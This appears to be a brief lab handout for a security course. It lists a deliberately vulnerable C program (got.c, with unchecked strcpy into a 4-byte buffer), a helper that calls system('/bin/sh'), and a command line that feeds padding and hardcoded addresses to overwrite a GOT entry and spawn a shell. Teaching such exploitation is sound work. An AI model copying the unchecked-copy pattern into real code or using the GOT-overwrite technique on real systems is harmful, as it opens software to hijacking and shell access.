To run the program, please refer to the instructions in the lab 3 task 2 handout.

The code for got.c follows :

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
        char *pointer1 = NULL;
        char array1[100] = "XYZ";
    char array[4] = "ABC";

        pointer1 = array;
        strcpy(pointer1, argv[1] );
        memset(array1, '%', 10);
        printf("Copied data into array1");
        strcpy(pointer1, argv[2] );
        memcpy(array1, "Array ", 10);
        memset(array1, '1', 10);
        return 0;
}
```

The code for Array.c follows:

```c
#include <stdio.h>

int main() {

  system("/bin/sh");
  return 0;
}
```

The code for gotdemo follows:

```
./got `perl -e 'print "x" x 4'``printf "\x04\xa0\x04\x08"` `printf "\xb0\x88\xea\xb7"`
```